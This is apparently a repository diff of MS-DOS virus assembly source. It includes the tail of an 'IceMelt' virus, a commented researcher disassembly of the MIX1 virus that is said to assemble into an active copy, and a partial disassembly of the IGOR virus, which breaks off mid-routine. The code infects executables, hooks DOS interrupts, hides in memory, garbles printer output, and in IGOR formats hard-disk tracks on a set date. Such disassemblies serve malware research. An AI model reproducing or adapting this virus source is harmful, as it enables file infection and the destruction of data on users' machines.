new_24: ; critical error handler
mov al,3 ; prompts suck, return fail
iret
activate db 0
txt_ptr dw offset credits
credits db '[IceMelt, by ûirogen]'
credit_end:
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
rel_off dw 0
exe_header:
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
heap:
db 16h dup(0) ; remaining exe header space
old_24_off dw 0 ; old int24h vector
old_24_seg dw 0
vend:
cseg ends
end start
@@ -0,0 +1,857 @@
; THE MIX1 virus
;
; It was first detected in Israel in August '89.
;
; Disassembly done Sept. 24-25 '89.
;
; The author of this program is unknown, but it is clearly a
; modification of the "Icelandic" virus, with considerable
; additions
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by ... to ... bytes.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; "MIX1"
;
; To check for system infection, a byte at 0:33C is used - if it
; contains 77 the virus is installed in memory.
;
;
VIRSIZ EQU 128
;
; This is the original program, just used so this file, when
; assembled, will produce an active copy.
;
_TEXT1 SEGMENT PARA PUBLIC
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "Hello world!",0dh,0ah,"$"
_TEXT1 ENDS
CODE SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
;
; The virus is basically divided in the following parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 17 handler. All outgoing characters will be garbled.
;
; 3. The new INT 14 handler. All outgoing characters will be garbled.
;
; 4. The new INT 8 handler.
;
; 5. The new INT 9 handler. Disables the Num-Lock key
;
; 6. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; Parts 1 and 6 are almost identical to the Icelandic-1 version
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
VIRUS PROC FAR
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
LABEL: DEC SP ; This used to be SUB SP,4
DEC SP
NOP
DEC SP
DEC SP
PUSH BP
MOV BP,SP
NOP ; added
PUSH AX
NOP ; added
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
MOV AX,0 ; Was: XOR AX,AX
MOV ES,AX
CMP ES:[33CH],BYTE PTR 077H
JNE L1
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
L1: MOV AH,52H
INT 21H
MOV AX,ES:[BX-2]
MOV ES,AX
PUSH ES ; Two totally unnecessary instructions
POP AX ; added
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
PUSH BX ; Unnecessary addition
POP AX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block.
;
PUSH BX ; Was: MOV ES,BX
POP ES
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
MOV DI,SI
PUSH CS
POP DS
MOV CX,652H
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L3
PUSH AX
RET
;
; Zero some variables
;
L3: MOV BYTE PTR CS:[MIN60],0
NOP
MOV BYTE PTR CS:[MIN50],0
NOP
MOV WORD PTR CS:[TIMER],0
;
; The most nutty way to zero ES register that I have ever seen:
;
MOV BX,0FFFFH
ADD BX,3F3FH
MOV CL,0AH
SHL BX,CL
AND BX,CS:[CONST0]
MOV AX,BX
MOV ES,AX
;
; Set flag to confirm installation
;
MOV BYTE PTR ES:[33CH],77H
;
; Hook interrupt 21:
;
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
;
; Hook interrupt 17:
;
MOV AX,ES:[005CH]
MOV CS:[OLD17],AX
MOV AX,ES:[005EH]
MOV CS:[OLD17+2],AX
MOV AX,CS
MOV ES:[005EH],AX
MOV AX,OFFSET NEW17
MOV ES:[005CH],AX
;
; Hook interrupt 14:
;
MOV AX,ES:[0050H]
MOV CS:[OLD17],AX
MOV AX,ES:[0052H]
MOV CS:[OLD14+2],AX
MOV AX,CS
MOV ES:[0052H],AX
MOV AX,OFFSET NEW14
MOV ES:[0050H],AX
;
;
;
CMP WORD PTR CS:[NOINF],5
JG HOOK9
JMP EXIT
;
; Hook interrupt 9
;
HOOK9: MOV AX,ES:[0024H]
MOV CS:[OLD9],AX
MOV AX,ES:[0026H]
MOV CS:[OLD9+2],AX
MOV AX,CS
MOV ES:[0026H],AX
MOV AX,OFFSET NEW9
MOV ES:[0024H],AX
;
; Hook interrupt 8
;
MOV AX,ES:[0020H]
MOV CS:[OLD8],AX
MOV AX,ES:[0022H]
MOV CS:[OLD8+2],AX
MOV AX,CS
MOV ES:[0022H],AX
MOV AX,OFFSET NEW8
MOV ES:[0020H],AX
JMP EXIT
;
; Video processing
;
VID: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH DS
PUSH ES
PUSH CS
POP DS
MOV AH,0FH
INT 10H
MOV AH,6
MUL AH
MOV BX,AX
MOV AX,DS:[BX+OFFSET VIDEOT]
MOV CX,DS:[BX+OFFSET VIDEOT+2]
MOV DX,DS:[BX+OFFSET VIDEOT+4]
MOV ES,DX
SHR CX,1
MOV DI,1
CMP AX,0
JNZ V1
V0: INC WORD PTR ES:[DI]
INC DI
INC DI
LOOP V0
JMP SHORT V2
NOP
V1: NOT WORD PTR ES:[DI]
INC DI
INC DI
LOOP V1
V2: POP ES
POP DS
POP DI
POP DX
POP CX
POP BX
POP AX
RET
;
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
; This routine does not become active until 50 minutes after
; the execution of an infected program.
;
NEW9: PUSH AX
PUSH ES
CMP BYTE PTR CS:[MIN50],1
JNZ RETX1
XOR AX,AX
MOV ES,AX ; was xxxxxxxx
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
OR BYTE PTR ES:[417H],20H ; x01xxxxx
TEST BYTE PTR ES:[417H],0CH
JZ RETX1
IN AL,60
CMP AL,53
JNZ RETX1
AND BYTE PTR ES:[417H],0F7H
;
; This seems to be an error - the virus uses a FAR call, which will
; probably cause the computer to crash.
;
DB 9AH
DW OFFSET VID,171CH
;
; This needs more checking.
;
RETX1: POP ES
POP AX
DB 0EAH
OLD9 DW 0,0
;
; New INT 14 routine - garble all outgoing characters
;
NEW14: CMP AH,1
JZ S1
DO14: DB 0EAH
OLD14 DW 0,0
S1: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX] ; use old character as index into table
POP BX
JMP DO14
;
; New INT 8 routine
;
NEW8: PUSH DX
PUSH CX
PUSH BX
PUSH AX
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
JZ TT0 ; No need to check any more
INC WORD PTR CS:[TIMER] ; else increment timer
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
JZ TT1
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
JZ TT2
JMP TXEX
;
; 50 minutes after an infected program is run the flag is set.
;
TT2: MOV BYTE PTR CS:[MIN50],1
NOP
JMP TXEX
;
; 60 minutes after an infected program is run we start the ball bouncing.
;
TT1: MOV BYTE PTR CS:[MIN60],1
;
; Get current cursor position and save it
;
MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Set cursor position
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Check what is there and store it
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Set cursor position back as it was before
;
MOV AH,2
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Get current video mode and store it
;
MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
;
; Exit interrupt routine
;
JMP TXEX
;
; Every time an INT 8 occurs, after the 60 min. have passed, we
; end up here:
;
; First get current cursor position
;
TT0: MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Then set it to last position of ball.
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Write previous character there ...
;
MOV AH,0EH
MOV AL,CS:[ONSCREEN]
MOV BX,0
INT 10H
;
;
CMP BYTE PTR CS:[UPDOWN],0
JZ T2
;
;
DEC BYTE PTR CS:[MYLINE]
JMP SHORT T3
NOP
T2: INC BYTE PTR CS:[MYLINE]
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
JZ T4
DEC BYTE PTR CS:[MYCOL]
JMP SHORT T5
NOP
T4: INC BYTE PTR CS:[MYCOL]
;
; Get current video mode
;
T5: MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
MOV AL,CS:[MAXLIN]
CMP CS:[MYLINE],AL ; bottom of screen ?
JNZ T6
;
; Reached bottom - now go upwards.
;
NOT BYTE PTR CS:[UPDOWN]
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
JNZ T7
;
; Reached top - now go downwards
;
NOT BYTE PTR CS:[UPDOWN]
T7: MOV AL,CS:[VMODE]
CMP CS:[MYCOL],AL
JNZ T8
NOT BYTE PTR CS:[LEFTRIGHT]
T8: CMP BYTE PTR CS:[MYCOL],0
JNZ T9
NOT BYTE PTR CS:[LEFTRIGHT]
;
; Set cursor position to new position of ball
;
T9: MOV AH,02
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Get what is there and store it.
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Write character (lower case o)
;
MOV AH,0EH
MOV AL,6FH
MOV BX,0
INT 10H
;
; And restore cursor position
;
MOV AH,02
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Restore registers and quit
;
TXEX: POP AX
POP BX
POP CX
POP DX
DB 0EAH
OLD8 DW 0,0
;
; New INT 17 routine. Garble all outgoing characters.
;
NEW17: CMP AH,0
JZ P0
DO17: DB 0EAH
OLD17 DW 0,0
P0: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX]
POP BX
JMP DO17
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21: CMP AH,4BH
JE L5
DO21: DB 0EAH
OLD21 DW 0,0
;
; The code to only infect every tenth program has been removed
;
L5: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP DO21
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX,4300H ; Get attribute
INT 21H
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
INT 21H
JC L7
MOV BX,AX ; file handle in BX
;
; This part of the code is new: Get date of file.
;
MOV AX,5700H
INT 21H
JC L9
MOV CS:[DATE1],DX
MOV CS:[DATE2],CX
;
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
INT 21H
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
INT 21H
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
;
; This part of the virus is new - check if it is below minimum length
;
CMP DX,0
JNE L8B
MOV CL,13
SHR AX,CL
CMP AX,0
JG L8B
JMP SHORT L9
NOP
L8B: MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
INT 21H
JNC L11
L9: MOV AH,3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,494DH
JNE L12
MOV AX,[SI+2]
CMP AX,3158H
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: MOV DX,0 ; Was: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
JMP SHORT F0 ; some unnecessary instructions
NOP
; First modify initial IP
;
F0: MOV AX,OFFSET LABEL
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
MOV CL,CS:[CONST1] ; Modified a bit
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SUB AX,DS:ID[10H]
MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
MOV CX,0 ; was XOR CX,CX
AND DX,CS:[CONST0] ; was XOR DX,DX
INT 21H
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
INT 21H
;
; This part is new: Restore old date.
;
MOV DX,CS:[DATE1]
MOV CX,CS:[DATE2]
MOV AX,5701H
INT 21H
JC ENDIT
INC WORD PTR CS:[NOINF]
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
;
;
DW 0
VIDEOT: DW 0000H, 07D0H, 0B800H
DW 0000H, 07D0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0000H, 0FA0H, 0B000H
DW 0001H, 3E80H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0002H, 0000H, 0000H
DW 0002H, 0000H, 0000H
DW 0001H, 7D00H, 0A000H
DW 0001H, 0FA00H, 0A000H
DW 0001H, 6D60H, 0A000H
DW 0002H, 0000H. 0000H
DW 0
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
CONST1 DB 1 ; Just the constant 1
CONST0 DW 0 ; The label says it all
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
VMODE DB 0 ; Video mode
MAXLIN DB 24
MYCOL DB 0 ; Position of ball on screen
MYLINE DB 0 ; ditto.
ONSCREEN DB ? ; Previous character on the screen
UPDOWN DB 0 ; Direction of ball (up or down)
LEFTRIGHT DB 0 ; Direction (left or right)
SCRCOL DB ?
SCRLINE DB ?
DATE1 DW ? ; Date of file
DATE2 DW ? ; ditto.
TIMER DW 0 ; Number of timer (INT 8) ticks
LEN_LO DW ?
LEN_HI DW ?
NOINF DW 0 ; Number of infections
ID LABEL WORD
DB "MIX1" ; The signature of the virus.
;
; A buffer, used for data from the file.
;
VIRUS ENDP
CODE ENDS
END LABEL
of the
+536
View File
@@ -0,0 +1,536 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ IGOR ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 12-Jul-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ (c) 1992 by Igor Ratzkopf - All Rights Reserved July R ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 16h
data_2e equ 469h ;*
data_3e equ 103h ;*
data_4e equ 1 ;*
data_5e equ 3 ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
igor proc far
start::
jmp short $+3 ; delay for I/O
nop
call sub_1
igor endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
pop bp
sub bp,106h
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,7BCDh
int 21h ; ??INT Non-standard interrupt
cmp bx,7BCDh
je loc_4 ; Jump if equal
xor bx,bx ; Zero register
push cs
pop ds
mov cx,es
mov ax,3509h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr cs:data_11+2[bp],es
mov cs:data_11[bp],bx
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr cs:data_9+2[bp],es
mov cs:data_9[bp],bx
dec cx
mov es,cx
mov bx,es:data_5e
mov dx,3C3h
mov cl,4
shr dx,cl ; Shift w/zeros fill
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4Ah
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
jc loc_4 ; Jump if carry Set
mov ah,48h ; 'H'
dec dx
mov bx,dx
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
jc loc_4 ; Jump if carry Set
dec ax
mov es,ax
mov cx,8
mov es:data_4e,cx
sub ax,0Fh
mov di,data_3e
mov es,ax
mov si,bp
add si,103h
mov cx,3C3h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
mov ax,2521h
;* mov dx,offset loc_3 ;*
db 0BAh, 8Fh, 02h
push es
pop ds
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,2509h
;* mov dx,offset loc_2 ;*
db 0BAh, 1Ah, 02h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
push cs
pop ds
loc_4::
cmp cs:data_25[bp],5A4Dh
je loc_5 ; Jump if equal
mov bx,offset data_25
add bx,bp
mov ax,[bx]
mov word ptr ds:[100h],ax
add bx,2
mov al,[bx]
mov byte ptr ds:[102h],al
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,offset start
push ax
retn
data_9 dw 0, 0 ; Data table (indexed access)
data_11 dw 0, 0 ; Data table (indexed access)
loc_5::
mov bx,cs:data_33[bp]
mov dx,cs
sub dx,bx
mov ax,dx
add ax,cs:data_18[bp]
add dx,cs:data_20[bp]
mov bx,cs:data_17[bp]
mov word ptr cs:[216h][bp],bx
mov word ptr cs:[218h][bp],ax
mov ax,cs:data_19[bp]
mov word ptr cs:[20Ch][bp],dx
mov word ptr cs:[212h][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,0
cli ; Disable interrupts
mov ss,ax
mov sp,0
sti ; Enable interrupts
;* jmp far ptr loc_1 ;*
sub_1 endp
db 0EAh, 00h, 00h, 00h, 00h
;* No entry point to code
push ax
in al,60h ; port 60h, keybd scan or sw1
cmp al,53h ; 'S'
je loc_7 ; Jump if equal
loc_6::
pop ax
jmp dword ptr cs:data_11
loc_7::
mov ah,2Ah
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
cmp dl,18h
jne loc_6 ; Jump if not equal
mov ch,0
locloop_8::
mov ah,5
mov dh,0
mov dl,80h
int 13h ; Disk dl=drive 0 ah=func 05h
; format track=ch or cylindr=cx
; al=interleave, dh=head
inc ch
cmp ch,20h ; ' '
loopnz locloop_8 ; Loop if zf=0, cx>0
;* jmp far ptr loc_31 ;*
db 0EAh,0F0h,0FFh,0FFh,0FFh
db 0CFh
loc_9::
pushf ; Push flags
push cs
call sub_2
test al,al
jnz loc_ret_12 ; Jump if not zero
push ax
push bx
push es
mov ah,51h
int 21h ; DOS Services ah=function 51h
; get active PSP segment in bx
;* undocumented function
mov es,bx
cmp bx,es:data_1e
jne loc_11 ; Jump if not equal
mov bx,dx
mov al,[bx]
push ax
mov ah,2Fh
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
pop ax
inc al
jnz loc_10 ; Jump if not zero
add bx,7
loc_10::
mov ax,es:[bx+17h]
and ax,1Fh
xor al,1Dh
jnz loc_11 ; Jump if not zero
and byte ptr es:[bx+17h],0E0h
sub word ptr es:[bx+1Dh],3C3h
sbb es:[bx+1Fh],ax
loc_11::
pop es
pop bx
pop ax
loc_ret_12::
iret ; Interrupt return
;* No entry point to code
cmp ax,4B00h
je loc_14 ; Jump if equal
cmp ah,11h
je loc_9 ; Jump if equal
cmp ah,12h
je loc_9 ; Jump if equal
cmp ax,7BCDh
jne loc_13 ; Jump if not equal
jmp short loc_14
db 90h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
loc_13::
jmp dword ptr cs:data_9
loc_14::
and [bx+si],ah
and [bx+si],ah
and [bx+si],ah
push es
push ds
cmp ax,7BCDh
jne loc_15 ; Jump if not equal
push cs
pop ds
mov dx,4B7h
jmp short loc_16
db 90h
loc_15::
call sub_5
jc loc_18 ; Jump if carry Set
loc_16::
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get attrb cx, filename @ds:dx
jc loc_19 ; Jump if carry Set
test cl,1
jz loc_17 ; Jump if zero
and cl,0FEh
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
jc loc_19 ; Jump if carry Set
loc_17::
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_19 ; Jump if carry Set
mov bx,ax
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
mov al,cl
or cl,1Fh
dec cx
dec cx
xor al,cl
jz loc_19 ; Jump if zero
push cs
pop ds
mov data_21,cx
mov data_22,dx
mov ah,3Fh ; '?'
mov cx,20h
mov dx,offset data_25
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
jc loc_18 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
jc loc_18 ; Jump if carry Set
cmp cs:data_25,5A4Dh
je loc_21 ; Jump if equal
mov cx,ax
sub cx,3
mov cs:data_24,cx
call sub_3
jc loc_18 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,offset data_23
mov cx,3
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_18::
mov cx,cs:data_21
mov dx,cs:data_22
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov ah,3Eh
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_19::
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ax,7BCDh
jne loc_20 ; Jump if not equal
mov bx,ax
loc_20::
jmp dword ptr cs:data_9
loc_21::
mov cx,cs:data_32
mov cs:data_17,cx
mov cx,cs:data_33
mov cs:data_18,cx
mov cx,cs:data_31
mov cs:data_19,cx
mov cx,cs:data_30
mov cs:data_20,cx
push ax
push dx
call sub_4
sub dx,cs:data_29
mov cs:data_33,dx
mov cs:data_32,ax
pop dx
pop ax
add ax,3C3h
adc dx,0
push ax
push dx
call sub_4
sub dx,cs:data_29
add ax,40h
mov cs:data_30,dx
mov cs:data_31,ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl ; Shift w/zeros fill
mov bx,ax
mov cl,9
shr bx,cl ; Shift w/zeros fill
add dx,bx
and ax,1FFh
jz loc_22 ; Jump if zero
inc dx
loc_22::
pop cx
pop bx
mov cs:data_26,ax
mov cs:data_27,dx
